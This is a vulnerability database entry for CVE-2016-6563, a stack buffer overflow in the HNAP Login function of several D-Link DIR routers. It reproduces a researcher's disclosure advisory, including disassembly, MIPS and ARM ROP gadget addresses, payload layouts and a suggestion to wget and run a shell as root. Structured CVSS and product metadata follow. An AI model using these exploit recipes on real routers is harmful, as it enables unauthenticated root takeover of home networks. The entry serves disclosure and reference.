var-201807-0057
Vulnerability from variot
Processing malformed SOAP messages when performing the HNAP Login action causes a buffer overflow in the stack in some D-Link DIR routers. The vulnerable XML fields within the SOAP body are: Action, Username, LoginPassword, and Captcha. The following products are affected: DIR-823, DIR-822, DIR-818L(W), DIR-895L, DIR-890L, DIR-885L, DIR-880L, DIR-868L, and DIR-850L. D-Link Systems, Inc. According to the reporter ’s report, HNAP Communication LAN This is done only on the side interface. CWE-121: Stack-based Buffer Overflow https://cwe.mitre.org/data/definitions/121.htmlOf the product LAN A third party who can access the side interface may execute arbitrary code with administrator privileges. An attacker can exploit this issue to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will likely result in denial-of-service conditions. D-Link DIR-823, etc. are all wireless router products of D-Link. tl;dr
A stack bof in several Dlink routers, which can be exploited by an unauthenticated attacker in the LAN. There is no patch as Dlink did not respond to CERT's requests. As usual, a Metasploit module is in the queue (see [9] below) and should hopefully be integrated soon.
The interesting thing about this vulnerability is that it affects both ARM and MIPS devices, so exploitation is slightly different for each type.
Link to CERT's advisory: https://www.kb.cert.org/vuls/id/677427
Link to a copy of the advisory pasted below: https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt
Have fun.
Regards, Pedro
Multiple vulnerabilities in Dlink DIR routers HNAP Login function (multiple routers affected) Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security ========================================================================== Disclosure: 07/11/2016 / Last updated: 07/11/2016
Background on the affected products: "Smartphones, laptops, tablets, phones, Smart TVs, game consoles and more a all being connected at the same time. Thatas why we created the new AC3200 Ultra Wi-Fi Router. With Tri-Band Technology and speeds up to 3.2Gbps, it delivers the necessary ultra-performance to power even the most demanding connected homes, making it the best wireless home router for gaming."
Summary: Dlink routers expose a protocol called HNAP (Home Network Administration Protocol) on the LAN interface. This is a SOAP protocol that allows identification, configuration, and management of network devices. For more information regarding HNAP, see [1] and [2].
Dlink has a long history of vulnerabilities in HNAP. Craig Heffner in particular seems to have found a lot of them (see [3], [4], [5], [6], [7], [8]). The affected function contains two subsequent stack overflows, which can be exploited by an unauthenticated attacker on the LAN. It affects a number of Dlink routers which span the ARM and MIPS architectures. A Metasploit module that exploits this vulnerability for both architectures has been released [9].
A special thanks to CERT/CC and Trent Novelly for help with disclosing this vulnerability to the vendor. Please refer to CERT's advisory for more details [10]. See below for other constraints. Affected versions: The following MIPS devices have been confirmed to be vulnerable: DIR-823 DIR-822 DIR-818L(W)
The following ARM devices have been confirmed to be vulnerable: DIR-895L DIR-890L DIR-885L DIR-880L DIR-868L -> Rev. B and C only
There might be other affected devices which are not listed above.
Vulnerability details and MIPS exploitation
The vulnerable function, parse_xml_value (my name, not a symbol), is called from hnap_main (a symbol in the binary) in /htdocs/cgibin. This function takes 3 arguments: the first is the request object / string, the second is the XML tag name to be parsed inside the request, and the third is a pointer to where the value of that tag should be returned.
The function tries to find the tag name inside the request object and then extracts the tag value, copying it first to a local variable and then to the third argument. This function is called from hnap_main when performing the HNAP Login action to obtain the values of Action, Username, LoginPassword and Catpcha from the SOAP request shown above.
parse_xml_value(char request, char XMLtag, char* tag_value)
(...)
.text:00412264 xml_tag_value_start = $s2
.text:00412264 xml_tag_value_end = $s1
.text:00412264 C30 addu xml_tag_value_start, $v0, $s0
# s2 now points to
There are two overflows, therefore two choices for exploitation: 1) The local stack (on parse_xml_value) can be overrun with 3096+ bytes. This overflow occurs even though strncpy is used, because the argument to strncpy is simply the strlen of the value inside the XML tag. 2) Alternatively, it's possible to overrun the stack of the calling function (hnap_main), using only 2408+ bytes - this is because strcpy is used to copy the xml_tag_var onto the third argument received by parse_xml_value, which is a pointer to a stack variable in hnap_main.
Exploiting 1) is easier, and the following example will explain how.
All the affected MIPS devices use the same version of uClibc (libuClibc-0.9.30.3.so) and seem to load it at 0x2aabe000, which makes exploitation trivial for all firmware versions. It should be noted that the MIPS devices use the RTL8881a CPU, which is based on a Lextra RLX5281 core. The Lextra RLX cores are MIPS clones, but they're bit crippled as they are lacking a few load and store instructions. For this reason, some generic shellcodes that work on MIPS might not work on these CPUs (especially when obfuscated).
The devices also do not have NX, ASLR nor any other modern memory protections, so the shellcode is executed directly on the stack. However, it's necessary to use ROP to prepare the stack for execution, which can be executed with gadgets taken from libuClibc-0.9.30.3.so. Due to the way MIPS CPUs work, it's necessary to flush the CPU cache before executing the exploit. This can be forced by calling sleep() from libc (refer to http://blog.emaze.net/2011/10/exploiting-mips-embedded-devices.html for an explanation on the MIPS CPU caches).
So the ROP chain and shellcode will look like:
first_gadget - execute sleep and call second_gadget .text:0004EA1C move $t9, $s0 <- sleep() .text:0004EA20 lw $ra, 0x20+var_4($sp) <- second_gadget .text:0004EA24 li $a0, 2 <- arg for sleep() .text:0004EA28 lw $s0, 0x20+var_8($sp) .text:0004EA2C li $a1, 1 .text:0004EA30 move $a2, $zero .text:0004EA34 jr $t9 .text:0004EA38 addiu $sp, 0x20
second_gadget - puts stack pointer in a1: .text:0002468C addiu $s1, $sp, 0x58 .text:00024690 li $s0, 0x44 .text:00024694 move $a2, $s0 .text:00024698 move $a1, $s1 .text:0002469C move $t9, $s4 .text:000246A0 jalr $t9 .text:000246A4 move $a0, $s2
third_gadget - call $a1 (which now has the stack pointer): .text:00041F3C move $t9, $a1 .text:00041F40 move $a1, $a2 .text:00041F44 addiu $a0, 8 .text:00041F48 jr $t9 .text:00041F4C nop
When the crash occurs, the stack pointer is at xml_tag_value[3128]. In order to have a larger space for the shellcode (3000+ bytes), it's possible to jump back to xml_tag_value[0]. prep_shellcode_1 = 23bdf3c8 # addi sp,sp,-3128 prep_shellcode_2 = 03a0f809 # jalr sp branch_delay = 2084f830 # addi a0,a0,-2000 (NOP executed as a MIPS branch delay slot)
The final Action / Username / LoginPassword / Catpcha XML parameter value will be: shellcode + 'a' * (3072 - shellcode.size) + sleep() + '1' * 4 + '2' * 4 + '3' * 4 + third_gadget + first_gadget + 'b' * 0x1c + second_gadget + 'c' * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay
'a', 'b' and 'c' are just fillers to make up the buffer, while '1111', '2222' and '3333' will be the values of s1, s2 and s3 registers (which are not interesting for exploitation), and the rest is the ROP chain, shellcode and stack preparation routine. The only bad character that cannot be sent in the payload is the null byte as this is a str(n)cpy overflow. Up to 3350 characters can be sent, as after that it's hard to control the overflow in a reliable way. Note that all of this is to exploit the first buffer overflow with strncpy, but the second buffer overflow can be exploited in a similar way.
As explained above, due to the use of a crippled MIPS core, generic shellcodes found on the Internet will likely fail. Some very simple ones work, but the best is to craft a reliable one. The simple Metasploit bind shell also seems to work pretty reliably if no encoder is used.
ARM exploitation
The same two stack overflows affect ARM, but require less bytes to overflow the stack. The following snippet is the same part of parse_xml_value as shown for MIPS (taken from firmware 2.03b01 for the DIR-868 Rev. B): .text:00018F34 C30 LDR R1, [R11,#src] ; src .text:00018F38 C30 LDR R2, [R11,#n] ; n .text:00018F3C C30 SUB R3, R11, #-xml_tag_var .text:00018F40 C30 SUB R3, R3, #4 .text:00018F44 C30 SUB R3, R3, #4 .text:00018F48 C30 MOV R0, R3 ; dest .text:00018F4C C30 BL strncpy ; first overflow occurs here (xml_tag_var in parse_xml_stack) with 1024+ characters .text:00018F50 C30 MOV R3, #0xFFFFFBEC .text:00018F58 C30 LDR R2, [R11,#n] .text:00018F5C C30 SUB R1, R11, #-var_4 .text:00018F60 C30 ADD R2, R1, R2 .text:00018F64 C30 ADD R3, R2, R3 .text:00018F68 C30 MOV R2, #0 .text:00018F6C C30 STRB R2, [R3] .text:00018F70 C30 SUB R3, R11, #-xml_tag_var .text:00018F74 C30 SUB R3, R3, #4 .text:00018F78 C30 SUB R3, R3, #4 .text:00018F7C C30 LDR R0, [R11,#a2_ptr] ; a2_ptr is is a stack variable from hnap_main .text:00018F80 C30 MOV R1, R3 ; src .text:00018F84 C30 BL strcpy ; second overflow occurs here
The stack size will be smaller for both parse_xml_value and hnap_main when compared to the MIPS binary. This time again it's easier to exploit the easier strncpy overflow in parse_xml_value, but only 1024 bytes are enough to overflow the stack. As with the MIPS exploit, the only bad character is the null byte.
The affected ARM devices have a non-executable stack (NX) and 32 bit ASLR. NX can be defeated with ROP, and the 32 bit ASLR is weak - there are only 3 bytes that change in the address calculations, which means there are only 4096 possible values. The attack has to be run several times until the correct base address is hit, but this can usually be achieved in less than 1000 attempts.
The easiest attack to perform is a return-to-libc to execute a command with system(). To do this, R0 must point to the stack location where the command is before system() is called. All the affected ARM devices seem to use the same version of uClibc (libuClibc-0.9.32.1.so) for all firmware versions, which makes gadget hunting much easier and allows building an exploit that works on all the devices without any modification.
first_gadget (pops system() address into r3, and second_gadget into PC): .text:00018298 LDMFD SP!, {R3,PC}
second_gadget (puts the stack pointer into r0 and calls system() at r3): .text:00040CB8 MOV R0, SP .text:00040CBC BLX R3
system() (Executes argument in r0 (our stack pointer) .text:0005A270 system
The final Action / Username / LoginPassword / Catpcha XML parameter value will be: 'a' * 1024 + 0xffffffff + 'b' * 16 + 'AAAA' + first_gadget + system() + second_gadget + command
a / b = filler 0xffffffff = integer n (see below) AAAA = R11 first_gadget = initial PC payload = stack points here after execution of our ROP chain; it should point to whatever we want system() to execute
When the overflow happens, the stack var "n" is overwritten, which is used to calculate a memory address (see 0x18F58). In order not to crash the process before the shellcode is executed, the variable needs to be set to a numeric value that can be used to calculate a valid memory address. A good value to choose is 0xffffffff, as this will just subtract 1 from the calculated memory address and prevent an invalid memory access.
From this point onwards, it's possible to execute any command in "payload". For example, wget can be used to download a shell and execute it or a telnet server can be started. All commands will be executed as root.
Fix: Dlink did not respond to my or CERT's request for information, so no firmware fix is available at the time of writing. Given that this vulnerability can only be exploited in the LAN, it is recommended to have a strong wireless password to prevent untrusted clients from connecting to the router.
References: [1] https://isc.sans.edu//diary/More+on+HNAP+-+What+is+it,+How+to+Use+it,+How+to+Find+it/17648
[2] https://en.wikipedia.org/wiki/Home_Network_Administration_Protocol [3] http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/ [4] http://www.devttys0.com/2015/04/what-the-ridiculous-fuck-d-link/ [5] http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/ [6] https://packetstormsecurity.com/files/134370/D-Link-DIR-818W-Buffer-Overflow-Command-Injection.html [7] https://dl.packetstormsecurity.net/papers/attack/dlink_hnap_captcha.pdf [8] http://www.dlink.com/uk/en/support/support-news/2015/april/13/hnap-privilege-escalation-command-injection [9] https://github.com/rapid7/metasploit-framework/pull/7543 [10] https://www.kb.cert.org/vuls/id/677427
================ Agile Information Security Limited http://www.agileinfosec.co.uk/
Show details on source websiteEnabling secure digital business >>
{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201807-0057",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": null,
"scope": null,
"trust": 1.6,
"vendor": "d link",
"version": null
},
{
"model": "dir-880l",
"scope": "eq",
"trust": 1.6,
"vendor": "dlink",
"version": null
},
{
"model": "dir-868l",
"scope": "eq",
"trust": 1.6,
"vendor": "dlink",
"version": null
},
{
"model": "dir-850l",
"scope": "eq",
"trust": 1.6,
"vendor": "dlink",
"version": null
},
{
"model": "dir-885l",
"scope": "eq",
"trust": 1.6,
"vendor": "dlink",
"version": null
},
{
"model": "dir-818l\\",
"scope": "eq",
"trust": 1.6,
"vendor": "dlink",
"version": null
},
{
"model": "dir-890l",
"scope": "eq",
"trust": 1.6,
"vendor": "dlink",
"version": null
},
{
"model": "dir-895l",
"scope": "eq",
"trust": 1.6,
"vendor": "dlink",
"version": null
},
{
"model": "dir-822",
"scope": "eq",
"trust": 1.6,
"vendor": "dlink",
"version": null
},
{
"model": "dir-823",
"scope": "eq",
"trust": 1.6,
"vendor": "dlink",
"version": null
},
{
"model": "dir-822",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dir-850l",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dir-859",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dir-868l",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dir-869",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dir-879",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dir-880l",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dir-885l",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dir-890l",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dir-895l",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dir-895l",
"scope": "eq",
"trust": 0.3,
"vendor": "dlink",
"version": "0"
},
{
"model": "dir-890l",
"scope": "eq",
"trust": 0.3,
"vendor": "dlink",
"version": "0"
},
{
"model": "dir-885l",
"scope": "eq",
"trust": 0.3,
"vendor": "dlink",
"version": "0"
},
{
"model": "dir-880l",
"scope": "eq",
"trust": 0.3,
"vendor": "dlink",
"version": "0"
},
{
"model": "dir-868l",
"scope": "eq",
"trust": 0.3,
"vendor": "dlink",
"version": "0"
},
{
"model": "dir-823",
"scope": "eq",
"trust": 0.3,
"vendor": "dlink",
"version": "0"
},
{
"model": "dir-822",
"scope": "eq",
"trust": 0.3,
"vendor": "dlink",
"version": "0"
},
{
"model": "dir-818l",
"scope": "eq",
"trust": 0.3,
"vendor": "dlink",
"version": "0"
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#677427"
},
{
"db": "CERT/CC",
"id": "VU#305448"
},
{
"db": "BID",
"id": "94130"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-005757"
},
{
"db": "CNNVD",
"id": "CNNVD-201611-125"
},
{
"db": "NVD",
"id": "CVE-2016-6563"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:d-link:dir-822_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:d-link:dir-850l_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:d-link:dir-859_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:d-link:dir-868l_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:d-link:dir-869_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:d-link:dir-879_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:d-link:dir-880l_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:d-link:dir-885l_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:d-link:dir-890l_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:d-link:dir-895l_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-005757"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Pedro Ribeiro",
"sources": [
{
"db": "BID",
"id": "94130"
},
{
"db": "PACKETSTORM",
"id": "139611"
},
{
"db": "CNNVD",
"id": "CNNVD-201611-125"
}
],
"trust": 1.0
},
"cve": "CVE-2016-6563",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CVE-2016-6563",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.1,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "NVD",
"availabilityImpact": "COMPLETE",
"availabilityRequirement": "NOT DEFINED",
"baseScore": 9.3,
"collateralDamagePotential": "NONE",
"confidentialityImpact": "COMPLETE",
"confidentialityRequirement": "NOT DEFINED",
"enviromentalScore": 6.0,
"exploitability": "PROOF-OF-CONCEPT",
"exploitabilityScore": 8.6,
"id": "CVE-2016-6563",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"integrityRequirement": "NOT DEFINED",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"remediationLevel": "WORKAROUND",
"reportConfidence": "NOT DEFINED",
"severity": "HIGH",
"targetDistribution": "MEDIUM",
"trust": 0.8,
"userInteractionRequired": null,
"vector_string": "AV:N/AC:M/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "LOW",
"accessVector": "ADJACENT NETWORK",
"authentication": "NONE",
"author": "NVD",
"availabilityImpact": "COMPLETE",
"availabilityRequirement": "NOT DEFINED",
"baseScore": 8.3,
"collateralDamagePotential": "NOT DEFINED",
"confidentialityImpact": "COMPLETE",
"confidentialityRequirement": "NOT DEFINED",
"enviromentalScore": 4.9,
"exploitability": "PROOF-OF-CONCEPT",
"exploitabilityScore": 6.5,
"id": "CVE-2017-3193",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"integrityRequirement": "NOT DEFINED",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"remediationLevel": "OFFICIAL FIX",
"reportConfidence": "CONFIRMED",
"severity": "HIGH",
"targetDistribution": "MEDIUM",
"trust": 0.8,
"userInteractionRequired": null,
"vector_string": "AV:A/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "Medium",
"accessVector": "Network",
"authentication": "None",
"author": "IPA",
"availabilityImpact": "Complete",
"baseScore": 9.3,
"confidentialityImpact": "Complete",
"exploitabilityScore": null,
"id": "JVNDB-2016-005757",
"impactScore": null,
"integrityImpact": "Complete",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "High",
"trust": 0.8,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "VHN-95383",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2016-6563",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
{
"attackComplexity": "High",
"attackVector": "Network",
"author": "IPA",
"availabilityImpact": "High",
"baseScore": 8.1,
"baseSeverity": "High",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "JVNDB-2016-005757",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2016-6563",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "NVD",
"id": "CVE-2016-6563",
"trust": 0.8,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2017-3193",
"trust": 0.8,
"value": "HIGH"
},
{
"author": "IPA",
"id": "JVNDB-2016-005757",
"trust": 0.8,
"value": "High"
},
{
"author": "CNNVD",
"id": "CNNVD-201611-125",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-95383",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2016-6563",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#677427"
},
{
"db": "CERT/CC",
"id": "VU#305448"
},
{
"db": "VULHUB",
"id": "VHN-95383"
},
{
"db": "VULMON",
"id": "CVE-2016-6563"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-005757"
},
{
"db": "CNNVD",
"id": "CNNVD-201611-125"
},
{
"db": "NVD",
"id": "CVE-2016-6563"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Processing malformed SOAP messages when performing the HNAP Login action causes a buffer overflow in the stack in some D-Link DIR routers. The vulnerable XML fields within the SOAP body are: Action, Username, LoginPassword, and Captcha. The following products are affected: DIR-823, DIR-822, DIR-818L(W), DIR-895L, DIR-890L, DIR-885L, DIR-880L, DIR-868L, and DIR-850L. D-Link Systems, Inc. According to the reporter \u2019s report, HNAP Communication LAN This is done only on the side interface. CWE-121: Stack-based Buffer Overflow https://cwe.mitre.org/data/definitions/121.htmlOf the product LAN A third party who can access the side interface may execute arbitrary code with administrator privileges. \nAn attacker can exploit this issue to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will likely result in denial-of-service conditions. D-Link DIR-823, etc. are all wireless router products of D-Link. tl;dr\n\nA stack bof in several Dlink routers, which can be exploited by an\nunauthenticated attacker in the LAN. There is no patch as Dlink did not\nrespond to CERT\u0027s requests. As usual, a Metasploit module is in the\nqueue (see [9] below) and should hopefully be integrated soon. \n\nThe interesting thing about this vulnerability is that it affects both\nARM and MIPS devices, so exploitation is slightly different for each type. \n\nLink to CERT\u0027s advisory:\nhttps://www.kb.cert.org/vuls/id/677427\n\nLink to a copy of the advisory pasted below:\nhttps://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt\n\nHave fun. \n\nRegards,\nPedro\n\n\u003e\u003e Multiple vulnerabilities in Dlink DIR routers HNAP Login function\n(multiple routers affected)\n\u003e\u003e Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information\nSecurity\n==========================================================================\nDisclosure: 07/11/2016 / Last updated: 07/11/2016\n\n\u003e\u003e Background on the affected products:\n\"Smartphones, laptops, tablets, phones, Smart TVs, game consoles and\nmore a all being connected at the same time. Thatas why we created the\nnew AC3200 Ultra Wi-Fi Router. With Tri-Band Technology and speeds up to\n3.2Gbps, it delivers the necessary ultra-performance to power even the\nmost demanding connected homes, making it the best wireless home router\nfor gaming.\"\n\n\n\u003e\u003e Summary:\nDlink routers expose a protocol called HNAP (Home Network Administration\nProtocol) on the LAN interface. This is a SOAP protocol that allows\nidentification, configuration, and management of network devices. For more information regarding\nHNAP, see [1] and [2]. \n\nDlink has a long history of vulnerabilities in HNAP. Craig Heffner in\nparticular seems to have found a lot of them (see [3], [4], [5], [6],\n[7], [8]). The affected function\ncontains two subsequent stack overflows, which can be exploited by an\nunauthenticated attacker on the LAN. It affects a number of Dlink\nrouters which span the ARM and MIPS architectures. A Metasploit module\nthat exploits this vulnerability for both architectures has been\nreleased [9]. \n\nA special thanks to CERT/CC and Trent Novelly for help with disclosing\nthis vulnerability to the vendor. Please refer to CERT\u0027s advisory for\nmore details [10]. See below\nfor other constraints. \nAffected versions:\n The following MIPS devices have been confirmed to be vulnerable:\n DIR-823\n DIR-822\n DIR-818L(W)\n\n The following ARM devices have been confirmed to be vulnerable:\n DIR-895L\n DIR-890L\n DIR-885L\n DIR-880L\n DIR-868L -\u003e Rev. B and C only\n\n There might be other affected devices which are not listed above. \n\n-----------------------\nVulnerability details and MIPS exploitation\n-----------------------\n\nThe vulnerable function, parse_xml_value (my name, not a symbol), is\ncalled from hnap_main (a symbol in the binary) in /htdocs/cgibin. \nThis function takes 3 arguments: the first is the request object /\nstring, the second is the XML tag name to be parsed inside the request,\nand the third is a pointer to where the value of that tag should be\nreturned. \n\nThe function tries to find the tag name inside the request object and\nthen extracts the tag value, copying it first to a local variable and\nthen to the third argument. This function is called from hnap_main when\nperforming the HNAP Login action to obtain the values of Action,\nUsername, LoginPassword and Catpcha from the SOAP request shown above. \n\nparse_xml_value(char* request, char* XMLtag, char* tag_value)\n(...)\n.text:00412264 xml_tag_value_start = $s2\n.text:00412264 xml_tag_value_end = $s1\n.text:00412264 C30 addu xml_tag_value_start, $v0, $s0\n # s2 now points to \u003cAction\u003e$value\u003c/Action\u003e\n.text:00412268 C30 la $t9, strstr\n.text:0041226C C30 move $a1, xml_tag_value_end # needle\n.text:00412270 C30 jalr $t9 ; strstr\n.text:00412274 C30 move $a0, xml_tag_value_start #\nhaystack\n.text:00412278 C30 lw $gp, 0xC30+var_C20($sp)\n.text:0041227C C30 beqz $v0, loc_4122BC\n.text:00412280 C30 subu xml_tag_value_end, $v0,\nxml_tag_value_start # s1 now holds the ptr to \u003cAction\u003evalue$\u003c/Action\u003e\n.text:00412284 C30 bltz xml_tag_value_end, loc_4122BC\n.text:00412288 C30 addiu $s0, $sp, 0xC30+xml_tag_var\n.text:0041228C C30 la $t9, strncpy\n.text:00412290 C30 move $a2, xml_tag_value_end # n\n.text:00412294 C30 move $a1, xml_tag_value_start # src\n.text:00412298 C30 addu xml_tag_value_end, $s0,\nxml_tag_value_end\n.text:0041229C C30 jalr $t9 ; strncpy # copies all\nchars in \u003cAction\u003e$value$\u003c/Action\u003e to xml_tag_var using strncpy\n.text:004122A0 C30 move $a0, $s0 # dest\n.text:004122A4 C30 move $a0, a2_ptr # a2_ptr is\na stack variable from hnap_main (passed as third argument to\nparse_xml_value)\n.text:004122A8 C30 lw $gp, 0xC30+var_C20($sp)\n.text:004122AC C30 move $a1, $s0 # src\n.text:004122B0 C30 la $t9, strcpy\t# copies\nxml_tag_var into a2_ptr using strcpy\n.text:004122B4 C30 jalr $t9 ; strcpy # the stack\nof the calling function (hnap_main) is thrashed if 2408+ bytes are sent\n.text:004122B8 C30 sb $zero, 0(xml_tag_value_end)\n(...)\n\nThere are two overflows, therefore two choices for exploitation:\n1) The local stack (on parse_xml_value) can be overrun with 3096+ bytes. \nThis overflow occurs even though strncpy is used, because the argument\nto strncpy is simply the strlen of the value inside the XML tag. \n2) Alternatively, it\u0027s possible to overrun the stack of the calling\nfunction (hnap_main), using only 2408+ bytes - this is because strcpy is\nused to copy the xml_tag_var onto the third argument received by\nparse_xml_value, which is a pointer to a stack variable in hnap_main. \n\nExploiting 1) is easier, and the following example will explain how. \n\nAll the affected MIPS devices use the same version of uClibc\n(libuClibc-0.9.30.3.so) and seem to load it at 0x2aabe000, which makes\nexploitation trivial for all firmware versions. It should be noted 